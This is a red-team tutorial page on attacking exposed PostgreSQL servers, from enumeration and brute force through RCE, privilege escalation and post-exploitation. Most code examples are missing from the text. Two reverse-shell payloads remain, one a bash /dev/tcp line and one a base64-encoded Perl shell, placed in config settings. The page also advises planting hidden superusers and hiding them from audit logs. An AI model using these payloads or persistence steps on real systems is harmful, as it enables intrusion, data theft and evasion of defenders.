Postgresql - PORT 5432,5433
Become VeryLazyTech member! ๐
Follow us on:
โ Twitter @VeryLazyTech.
๐พ Github @VeryLazyTech.
๐ Medium @VeryLazyTech.
๐บ YouTube @VeryLazyTech.
๐ฉ Telegram @VeryLazyTech.
๐ต๏ธโโ๏ธ My Site @VeryLazyTech.
Visit our shop for e-books and courses. ๐
Basic info
PostgreSQL is one of the most widely deployed open-source relational databases. By default, it listens on TCP port 5432. If that port is already in use, PostgreSQL often binds to 5433.
For a red teamer, both ports are high-value reconnaissance targets. PostgreSQL is frequently misconfigured, exposed to the internet, or deployed with weak authentication. Once inside, its deep integration with the underlying OS provides direct paths to privilege escalation and remote code execution (RCE).
This guide dives into discovery, exploitation, privilege escalation, and post-exploitation techniques, tailored for offensive operators and red team professionals.
Enumeration
Service Fingerprinting
Look for:
Version (PostgreSQL has had multiple RCE and auth bypass CVEs).
Whether both 5432 and 5433 are open โ multiple clusters or fallback instances.
Manual Connection
If a password prompt appears, the service is reachable and authenticating.
Automated enumeration
MSF console
Port Scanning with dblink
Beyond traditional tools like nmap, PostgreSQL itself can be abused for port scanning using the dblink extension. When attempting to connect to remote hosts via dblink_connect, PostgreSQL throws detailed error messages that reveal the state of the target port.
For example:
Depending on the response, an attacker can infer network conditions:
Host down
Port closed
Port open (authentication fails)
Port open or filtered (timeout)
Although PL/pgSQL functions cannot capture these exceptions directly, an attacker with database access can run dblink queries manually to fingerprint internal networks. When combined with wordlist attacks against PostgreSQL system tables (e.g., pg_shadow), this technique can uncover both live services and valid credentials, making it a valuable red team tactic for lateral movement.
Enumeration of Privileges
Once credentials are obtained, understanding roles and privileges is critical for identifying escalation paths. In PostgreSQL, users, groups, and roles are essentially the same conceptโwhat matters is whether they can log in and what privileges they inherit.
Role Types
rolsuper โ Superuser privileges (full control).
rolinherit โ Inherits privileges of roles it belongs to.
rolcreaterole โ Can create additional roles.
rolcreatedb โ Can create databases.
rolcanlogin โ Login-enabled role (acts like a user).
rolreplication โ Can initiate replication and manage replication slots.
rolconnlimit โ Connection limit (-1 = unlimited).
rolvaliduntil โ Password expiry date.
rolbypassrls โ Bypasses row-level security.
rolconfig โ Role-specific runtime configs.
Interesting Groups
Membership in certain groups allows direct OS interaction:
pg_execute_server_programโ Run OS commands withCOPY FROM PROGRAM.pg_read_server_filesโ Read arbitrary files.pg_write_server_filesโ Write files to disk.
๐ก Red team tip: Chaining pg_read_server_files + pg_write_server_files can often lead to config file tampering โ RCE.
Role & Group Enumeration
Role Manipulation
โ ๏ธ Attempting privilege escalation often fails if you are not already in the target group or a superuser. But on misconfigured systems, this is a direct privesc vector.
Table Privileges
Function Enumeration
Functions in pg_catalog often enable file or command interaction:
๐ Why this matters: Identifying roles, groups, and functions often reveals a hidden escalation pathโfor example, a non-superuser role with membership in pg_execute_server_program is essentially equivalent to OS-level RCE.
Authentication Attacks
Brute Force
Default creds
Post-Authentication Enumeration
Once valid credentials are obtained, start deep enumeration:
If running \list you find a database called rdsadmin you know you are inside an AWS postgresql database.
Extracted password hashes can be cracked with Hashcat or John.
Exploitation
File Read
Remember that if you aren't super user but has the CREATEROLE permissions you can make yourself member of that group:
There are other postgres functions that can be used to read file or list a directory. Only superusers and users with explicit permissions can use them:
You can find more functions in https://www.postgresql.org/docs/current/functions-admin.html
File Write
Remember that COPY cannot handle newline chars, therefore even if you are using a base64 payload you need to send a one-liner.
A very important limitation of this technique is that copy cannot be used to write binary files as it modify some binary values.
Updating PostgreSQL Table Data via Local File Write (Filenode Abuse)
If a PostgreSQL role has read and write access to server files, an attacker can directly modify filenodes in the PostgreSQL data directory to overwrite table contents, escalate privileges, or even become a superuser. This technique is particularly powerful in constrained SQLi contexts, since it relies on database-native functions (lo_import, lo_export) rather than direct shell commands.
Attack Flow
1. Identify Data Directory
If unavailable, extract the version:
and brute-force the directory path. Typical paths:
2. Get Target Table Filenode Path
Returns something like:
โ Full path:
/var/lib/postgresql/13/main/base/3/1337
3. Dump the Filenode with lo_import
4. Extract Table Datatypes
5. Modify Filenode
Use PostgreSQL Filenode Editor to edit role flags:
Set all rol* flags to 1 (true) to escalate privileges.
6. Re-Upload Edited Filenode
7. Clear Cache (Optional)
After this, the modified table values take effect.
Any role data (passwords, privileges) can be manipulated offline.
Attackers can set themselves as superuser by editing
pg_authid.This effectively bypasses SQL privilege checks โ the DB trusts the modified file.

Command Execution
Since PostgreSQL 9.3, the database introduced the ability to use COPY FROM PROGRAM for interacting with the operating system. By design, this is only available to superusers or members of the pg_execute_server_program role. But from a red team perspective, this feature is effectively a built-in RCE primitive.
1. Exfiltration Example
This abuses COPY to spawn a shell command that sends file data back to a controlled server.
2. Proof-of-Concept Command Execution
3. Reverse Shell Payload
Once executed, this will connect back to the attackerโs listener (nc -lvnp 80) and provide an interactive shell.
4. Escalation with CREATEROLE
If you donโt already have the pg_execute_server_program privilege, but do have CREATEROLE, you can grant it to yourself:
This often turns what looks like a restricted user into a full OS-level RCE capability.
5. Metasploit Automation
Metasploit includes a ready-made module for this technique:
RCE techniques
RCE to program
Since version 9.3, only super users and member of the group pg_execute_server_program can use copy for RCE (example with exfiltration:
Example to exec:
Or use the multi/postgres/postgres_copy_from_program_cmd_exec module from metasploit.
More information about this vulnerability here. While reported as CVE-2019-9193, Postges declared this was a feature and will not be fixed.
Privilege Escalation (CREATEROLE Abuse)
RCE via Extensions
PostgreSQL has been developed with extensibility as a core feature, allowing it to seamlessly integrate extensions as if they were built-in functionalities. These extensions, essentially libraries written in C, enrich the database with additional functions, operators, or types.
From version 8.1 onwards, a specific requirement is imposed on the extension libraries: they must be compiled with a special header. Without this, PostgreSQL will not execute them, ensuring only compatible and potentially secure extensions are used.
RCE in Linux
For more information check: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/
The execution of system commands from PostgreSQL 8.1 and earlier versions is a process that has been clearly documented and is straightforward. It's possible to use this: Metasploit module.
Write binary file using base64
However, when attempted on greater versions the following error was shown:
This error is explained in the PostgreSQL documentation:
To ensure that a dynamically loaded object file is not loaded into an incompatible server, PostgreSQL checks that the file contains a โmagic blockโ with the appropriate contents. This allows the server to detect obvious incompatibilities, such as code compiled for a different major version of PostgreSQL. A magic block is required as of PostgreSQL 8.2. To include a magic block, write this in one (and only one) of the module source files, after having included the header fmgr.h:
#ifdef PG_MODULE_MAGICPG_MODULE_MAGIC;#endif
Since PostgreSQL version 8.2, the process for an attacker to exploit the system has been made more challenging. The attacker is required to either utilize a library that is already present on the system or to upload a custom library. This custom library must be compiled against the compatible major version of PostgreSQL and must include a specific "magic block". This measure significantly increases the difficulty of exploiting PostgreSQL systems, as it necessitates a deeper understanding of the system's architecture and version compatibility.
Compile the library
Get the PsotgreSQL version with:
For compatibility, it is essential that the major versions align. Therefore, compiling a library with any version within the 9.6.x series should ensure successful integration.
To install that version in your system:
And compile the library:
Then upload the compiled library and execute commands with:
You can find this library precompiled to several different PostgreSQL versions and even can automate this process (if you have PostgreSQL access) with pgexec.
RCE in Windows
The following DLL takes as input the name of the binary and the number of times you want to execute it and executes it:
You can find the DLL compiled in this zip:
You can indicate to this DLL which binary to execute and the number of time to execute it, in this example it will execute calc.exe 2 times:
In here you can find this reverse-shell:
Note how in this case the malicious code is inside the DllMain function. This means that in this case it isn't necessary to execute the loaded function in postgresql, just loading the DLL will execute the reverse shell:
The PolyUDF project is also a good starting point with the full MS Visual Studio project and a ready to use library (including: command eval, exec and cleanup) with multiversion support.
RCE in newest Prostgres versions
In the latest versions of PostgreSQL, restrictions have been imposed where the superuser is prohibited from loading shared library files except from specific directories, such as C:\Program Files\PostgreSQL\11\lib on Windows or /var/lib/postgresql/11/lib on *nix systems. These directories are secured against write operations by either the NETWORK_SERVICE or postgres accounts.
Despite these restrictions, it's possible for an authenticated database superuser to write binary files to the filesystem using "large objects." This capability extends to writing within the C:\Program Files\PostgreSQL\11\data directory, which is essential for database operations like updating or creating tables.
A significant vulnerability arises from the CREATE FUNCTION command, which permits directory traversal into the data directory. Consequently, an authenticated attacker could exploit this traversal to write a shared library file into the data directory and then load it. This exploit enables the attacker to execute arbitrary code, achieving native code execution on the system.
Attack flow
First of all you need to use large objects to upload the dll.
PostgreSQL Large Objects
PostgreSQL offers a structure known as large objects, accessible via the pg_largeobject table, designed for storing large data types, such as images or PDF documents. This approach is advantageous over the COPY TO function as it enables the exportation of data back to the file system, ensuring an exact replica of the original file is maintained.
For storing a complete file within this table, an object must be created in the pg_largeobject table (identified by a LOID), followed by the insertion of data chunks, each 2KB in size, into this object. It is crucial that these chunks are exactly 2KB in size (with the possible exception of the last chunk) to ensure the exporting function performs correctly.
To divide your binary data into 2KB chunks, the following commands can be executed:
For encoding each file into Base64 or Hex, the commands below can be used:
Important: When automating this process, ensure to send chunks of 2KB of clear-text bytes. Hex encoded files will require 4KB of data per chunk due to doubling in size, while Base64 encoded files follow the formula ceil(n / 3) * 4.
The contents of the large objects can be viewed for debugging purposes using:
Using lo_creat & Base64
To store binary data, a LOID is first created:
In situations requiring precise control, such as exploiting a Blind SQL Injection, lo_create is preferred for specifying a fixed LOID.
Data chunks can then be inserted as follows:
To export and potentially delete the large object after use:
Using lo_import & Hex
The lo_import function can be utilized to create and specify a LOID for a large object:
Following object creation, data is inserted per page, ensuring each chunk does not exceed 2KB:
To complete the process, the data is exported and the large object is deleted:
Limitations
It's noted that large objects may have ACLs (Access Control Lists), potentially restricting access even to objects created by your user. However, older objects with permissive ACLs may still be accessible for content exfiltration.
Once you have uploaded the extension (with the name of poc.dll for this example) to the data directory you can load it with:
Note that you don't need to append the .dll extension as the create function will add it.
For more information read the original publication here. In that publication this was the code use to generate the postgres extension (to learn how to compile a postgres extension read any of the previous versions). In the same page this exploit to automate this technique was given:
PostgreSQL configuration file RCE
The configuration file of PostgreSQL is writable by the postgres user, which is the one running the database, so as superuser, you can write files in the filesystem, and therefore you can overwrite this file.
RCE with ssl_passphrase_command
More information about this technique here.
The configuration file have some interesting attributes that can lead to RCE:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'Path to the private key of the databasessl_passphrase_command = ''If the private file is protected by password (encrypted) postgresql will execute the command indicated in this attribute.ssl_passphrase_command_supports_reload = offIf this attribute is on the command executed if the key is protected by password will be executed whenpg_reload_conf()is executed.
Then, an attacker will need to:
Dump private key from the server
Encrypt downloaded private key:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
Overwrite
Dump the current postgresql configuration
Overwrite the configuration with the mentioned attributes configuration:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'ssl_passphrase_command_supports_reload = on
Execute
pg_reload_conf()
While testing this I noticed that this will only work if the private key file has privileges 640, it's owned by root and by the group ssl-cert or postgres (so the postgres user can read it), and is placed in /var/lib/postgresql/12/main.
RCE with archive_command
Another attribute in the configuration file that is exploitable is archive_command.
For this to work, the archive_mode setting has to be 'on' or 'always'. If that is true, then we could overwrite the command in archive_command and force it to execute via the WAL (write-ahead logging) operations.
The general steps are:
Check whether archive mode is enabled:
SELECT current_setting('archive_mode')Overwrite
archive_commandwith the payload. For eg, a reverse shell:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'Reload the config:
SELECT pg_reload_conf()Force the WAL operation to run, which will call the archive command:
SELECT pg_switch_wal()orSELECT pg_switch_xlog()for some Postgres versions
RCE with preload libraries
More information about this technique here.
This attack vector takes advantage of the following configuration variables:
session_preload_libraries-- libraries that will be loaded by the PostgreSQL server at the client connection.dynamic_library_path-- list of directories where the PostgreSQL server will search for the libraries.
We can set the dynamic_library_path value to a directory, writable by the postgres user running the database, e.g., /tmp/ directory, and upload a malicious .so object there. Next, we will force the PostgreSQL server to load our newly uploaded library by including it in the session_preload_libraries variable.
The attack steps are:
Download the original
postgresql.confInclude the
/tmp/directory in thedynamic_library_pathvalue, e.g.dynamic_library_path = '/tmp:$libdir'Include the malicious library name in the
session_preload_librariesvalue, e.g.session_preload_libraries = 'payload.so'Check major PostgreSQL version via the
SELECT version()queryCompile the malicious library code with the correct PostgreSQL dev package Sample code:
Compiling the code:
Upload the malicious
postgresql.conf, created in steps 2-3, and overwrite the original oneUpload the
payload.sofrom step 5 to the/tmpdirectoryReload the server configuration by restarting the server or invoking the
SELECT pg_reload_conf()queryAt the next DB connection, you will receive the reverse shell connection.
RCE with PostgreSQL Languages
PostgreSQL Languages
The PostgreSQL database you got access to may have different scripting languages installed that you could abuse to execute arbitrary code.
You can get them running:
Most of the scripting languages you can install in PostgreSQL have 2 flavours: the trusted and the untrusted. The untrusted will have a name ended in "u" and will be the version that will allow you to execute code and use other interesting functions. This are languages that if installed are interesting:
plpythonu
plpython3u
plperlu
pljavaU
plrubyu
... (any other programming language using an insecure version)
If you find that an interesting language is installed but untrusted by PostgreSQL (lanpltrusted is false) you can try to trust it with the following line so no restrictions will be applied by PostgreSQL:
If you don't see a language, you could try to load it with (you need to be superadmin):
Note that it's possible to compile the secure versions as "unsecure". Check this for example. So it's always worth trying if you can execute code even if you only find installed the trusted one.
plpythonu/plpython3u
RCE
Get OS user
List dir
Find W folder
Find File
Find Exec files
Find exec by subs
Read
Get perms
Requests
Privilege escalation
CREATEROLE Privesc
According to the docs: Roles having CREATEROLE privilege can grant or revoke membership in any role that is not a superuser.
So, if you have CREATEROLE permission you could grant yourself access to other roles (that aren't superuser) that can give you the option to read & write files and execute commands:
Modify Password
Users with this role can also change the passwords of other non-superusers:
Privesc to SUPERUSER
It's pretty common to find that local users can login in PostgreSQL without providing any password. Therefore, once you have gathered permissions to execute code you can abuse these permissions to gran you SUPERUSER role:
ALTER TABLE privesc
In this writeup is explained how it was possible to privesc in Postgres GCP abusing ALTER TABLE privilege that was granted to the user.
When you try to make another user owner of a table you should get an error preventing it, but apparently GCP gave that option to the not-superuser postgres user in GCP:

Joining this idea with the fact that when the INSERT/UPDATE/ANALYZE commands are executed on a table with an index function, the function is called as part of the command with the table ownerโs permissions. It's possible to create an index with a function and give owner permissions to a super user over that table, and then run ANALYZE over the table with the malicious function that will be able to execute commands because it's using the privileges of the owner.
Exploitation
Start by creating a new table.
Insert some irrelevant content into the table to provide data for the index function.
Develop a malicious index function that contains a code execution payload, allowing for unauthorized commands to be executed.
ALTER the table's owner to "cloudsqladmin," which is GCP's superuser role exclusively used by Cloud SQL to manage and maintain the database.
Perform an ANALYZE operation on the table. This action compels the PostgreSQL engine to switch to the user context of the table's owner, "cloudsqladmin." Consequently, the malicious index function is called with the permissions of "cloudsqladmin," thereby enabling the execution of the previously unauthorized shell command.
In PostgreSQL, this flow looks something like this:
Then, the shell_commands_results table will contain the output of the executed code:
Local Login
Some misconfigured postgresql instances might allow login of any local user, it's possible to local from 127.0.0.1 using the dblink function:
Note that for the previous query to work the function dblink needs to exist. If it doesn't you could try to create it with
If you have the password of a user with more privileges, but the user is not allowed to login from an external IP you can use the following function to execute queries as that user:
It's possible to check if this function exists with:
Custom defined function with SECURITY DEFINER
In this writeup, pentesters were able to privesc inside a postgres instance provided by IBM, because they found this function with the SECURITY DEFINER flag:
As explained in the docs a function with SECURITY DEFINER is executed with the privileges of the user that owns it. Therefore, if the function is vulnerable to SQL Injection or is doing some privileged actions with params controlled by the attacker, it could be abused to escalate privileges inside postgres.
In the line 4 of the previous code you can see that the function has the SECURITY DEFINER flag.
And then execute commands:

PL/pgSQL Password Bruteforce
PL/pgSQL is a fully featured programming language that extends beyond the capabilities of SQL by offering enhanced procedural control. This includes the utilization of loops and various control structures. Functions crafted in the PL/pgSQL language can be invoked by SQL statements and triggers, broadening the scope of operations within the database environment.
You can abuse this language in order to ask PostgreSQL to brute-force the users credentials, but it must exist on the database. You can verify it's existence using:
By default, creating functions is a privilege granted to PUBLIC, where PUBLIC refers to every user on that database system. To prevent this, the administrator could have had to revoke the USAGE privilege from the PUBLIC domain:
In that case, our previous query would output different results:
Note that for the following script to work the function dblink needs to exist. If it doesn't you could try to create it with
Password Brute Force
Here how you could perform a 4 chars password bruteforce:
Note that even brute-forcing 4 characters may take several minutes.
You could also download a wordlist and try only those passwords (dictionary attack):
Find more information about these attack in the original paper.
Privesc by Overwriting Internal PostgreSQL Tables
The following privesc vector is especially useful in constrained SQLi contexts, as all steps can be performed through nested SELECT statements
If you can read and write PostgreSQL server files, you can become a superuser by overwriting the PostgreSQL on-disk filenode, associated with the internal pg_authid table.
Read more about this technique here.
The attack steps are:
Obtain the PostgreSQL data directory
Obtain a relative path to the filenode, associated with the
pg_authidtableDownload the filenode through the
lo_*functionsGet the datatype, associated with the
pg_authidtableUse the PostgreSQL Filenode Editor to edit the filenode; set all
rol*boolean flags to 1 for full permissions.Re-upload the edited filenode via the
lo_*functions, and overwrite the original file on the disk(Optionally) Clear the in-memory table cache by running an expensive SQL query
You should now have the privileges of a full superadmin.
POST Exploitation
Using MSF modules
logging
Inside the postgresql.conf file you can enable postgresql logs changing:
Then, restart the service.
pgadmin
pgadmin is an administration and development platform for PostgreSQL. You can find passwords inside the pgadmin4.db file You can decrypt them using the decrypt function inside the script: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
pg_hba
Client authentication in PostgreSQL is managed through a configuration file called pg_hba.conf. This file contains a series of records, each specifying a connection type, client IP address range (if applicable), database name, user name, and the authentication method to use for matching connections. The first record that matches the connection type, client address, requested database, and user name is used for authentication. There is no fallback or backup if authentication fails. If no record matches, access is denied.
The available password-based authentication methods in pg_hba.conf are md5, crypt, and password. These methods differ in how the password is transmitted: MD5-hashed, crypt-encrypted, or clear-text. It's important to note that the crypt method cannot be used with passwords that have been encrypted in pg_authid.
Privilege Escalation via Roles
Abuse
CREATEROLE:Create a new privileged role:
File System Looting
Read sensitive files (if
pg_read_server_filesis available):Dump SSH keys, configs, or application secrets from
/homeor/etc.
RCE Persistence
Use
COPY FROM PROGRAMfor command execution:Or backdoor via malicious PostgreSQL extensions (
.sofiles loaded withCREATE EXTENSION).
Pivoting / Internal Recon
Use
dblinkfor internal port scanning:Enumerate other databases / internal services reachable from the DB host.
Data Exfiltration
Dump tables of interest:
Encode and exfiltrate via HTTP (if outbound allowed):
Filenode Abuse
Modify system tables by editing filenodes:
Extract
pg_authidfilenode.Set your role to
rolsuper = true.Re-import โ instant superuser escalation.
Config File Backdooring
Overwrite
postgresql.confwith malicious settings:Reload:
Cloud-Specific Post-Exploitation
AWS RDS: Look for
rdsadminDB โ often exposes internal AWS metadata APIs.GCP CloudSQL: Abuse
ANALYZE+ALTER TABLEto execute ascloudsqladmin.Azure Database for PostgreSQL: Look for misconfigured
SECURITY DEFINERfunctions.
Credential Harvesting from Applications
Search for hardcoded DB creds in:
/var/www/html/config.php/etc/postgresql/*/main/pg_hba.conf/etc/environmentor.envfiles
If pgAdmin is installed (like you noted):
Decrypt stored passwords using the crypto.py script.
Establishing Persistence
Create a hidden superuser:
Hide it by modifying audit/logging configs to exclude the new user.
Alternatively, implant a malicious trigger that re-creates the backdoor user if deleted.
Learn & practice For the Bug Bounty
Support VeryLazyTech ๐
Become VeryLazyTech member! ๐
Follow us on:
โ Twitter @VeryLazyTech.
๐พ Github @VeryLazyTech.
๐ Medium @VeryLazyTech.
๐บ YouTube @VeryLazyTech.
๐ฉ Telegram @VeryLazyTech.
๐ต๏ธโโ๏ธ My Site @VeryLazyTech.
Visit our shop for e-books and courses. ๐
Last updated